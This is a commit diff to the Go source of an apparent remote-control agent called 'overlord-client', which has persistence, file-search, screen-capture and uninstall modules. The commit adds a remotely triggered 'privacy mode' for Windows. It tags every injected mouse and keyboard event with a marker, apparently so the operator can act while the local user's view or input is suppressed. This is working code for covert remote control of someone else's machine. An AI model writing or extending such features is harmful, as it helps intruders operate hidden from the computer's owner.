privacy selector
This commit is contained in:
@@ -22,6 +22,7 @@ import (
|
||||
"overlord-client/cmd/agent/filesearch"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/privacy"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/securelog"
|
||||
"overlord-client/cmd/agent/sysinfo"
|
||||
@@ -86,6 +87,8 @@ func resetForReconnect(env *runtime.Env) {
|
||||
return
|
||||
}
|
||||
|
||||
privacy.Stop()
|
||||
|
||||
cancelAllCommands()
|
||||
capture.ResetFrameSlots()
|
||||
|
||||
@@ -693,6 +696,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
env.DesktopCancel = nil
|
||||
env.DesktopDone = nil
|
||||
env.DesktopMu.Unlock()
|
||||
if privacy.IsEnabled() {
|
||||
privacy.Stop()
|
||||
log.Printf("privacy: auto-disabled on desktop stop")
|
||||
}
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "desktop_select_display":
|
||||
@@ -2451,6 +2458,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "privacy_start":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
_ = handlePrivacyStart(ctx, env, cmdID, payload)
|
||||
return nil
|
||||
case "privacy_stop":
|
||||
_ = handlePrivacyStop(ctx, env, cmdID)
|
||||
return nil
|
||||
case "privacy_status":
|
||||
_ = handlePrivacyStatus(ctx, env, cmdID)
|
||||
return nil
|
||||
case "uninstall":
|
||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||
@@ -2572,3 +2589,44 @@ func toInt(v interface{}) int {
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func handlePrivacyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||
if goruntime.GOOS != "windows" {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: false,
|
||||
Message: "privacy mode is only supported on Windows",
|
||||
})
|
||||
}
|
||||
if privacy.IsEnabled() {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: true,
|
||||
Message: "privacy mode already active",
|
||||
})
|
||||
}
|
||||
if err := privacy.Start(); err != nil {
|
||||
log.Printf("privacy: start failed: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: false,
|
||||
Message: err.Error(),
|
||||
})
|
||||
}
|
||||
log.Printf("privacy: mode enabled")
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: true,
|
||||
})
|
||||
}
|
||||
|
||||
func handlePrivacyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
privacy.Stop()
|
||||
log.Printf("privacy: mode disabled")
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: true,
|
||||
})
|
||||
}
|
||||
|
||||
func handlePrivacyStatus(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
enabled := privacy.IsEnabled()
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.PrivacyStatus{
|
||||
Type: "privacy_status", Enabled: enabled,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -5,6 +5,8 @@ package handlers
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/privacy"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -112,7 +114,7 @@ func sendMouseInput(flags uint32, mouseData uint32) {
|
||||
mi.mouseData = mouseData
|
||||
mi.dwFlags = flags
|
||||
mi.time = 0
|
||||
mi.dwExtraInfo = 0
|
||||
mi.dwExtraInfo = inputExtraInfo()
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
}
|
||||
|
||||
@@ -152,7 +154,7 @@ func sendMouseMoveAbsolute(x, y int32) bool {
|
||||
mi.mouseData = 0
|
||||
mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK
|
||||
mi.time = 0
|
||||
mi.dwExtraInfo = 0
|
||||
mi.dwExtraInfo = inputExtraInfo()
|
||||
r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
return r != 0
|
||||
}
|
||||
@@ -186,7 +188,7 @@ func sendKeyInput(vk uint16, keyUp bool) {
|
||||
}
|
||||
ki.dwFlags = flags
|
||||
ki.time = 0
|
||||
ki.dwExtraInfo = 0
|
||||
ki.dwExtraInfo = inputExtraInfo()
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
}
|
||||
|
||||
@@ -242,6 +244,7 @@ func sendUnicodeRune(r rune) {
|
||||
ki.wVk = 0
|
||||
ki.wScan = uint16(r)
|
||||
ki.dwFlags = KEYEVENTF_UNICODE
|
||||
ki.dwExtraInfo = inputExtraInfo()
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
|
||||
var inpUp input
|
||||
@@ -250,6 +253,7 @@ func sendUnicodeRune(r rune) {
|
||||
kiUp.wVk = 0
|
||||
kiUp.wScan = uint16(r)
|
||||
kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP
|
||||
kiUp.dwExtraInfo = inputExtraInfo()
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp))
|
||||
}
|
||||
|
||||
@@ -287,3 +291,10 @@ func keyCodeToVK(code string) uint16 {
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func inputExtraInfo() uintptr {
|
||||
if privacy.IsEnabled() {
|
||||
return privacy.InputMarker()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user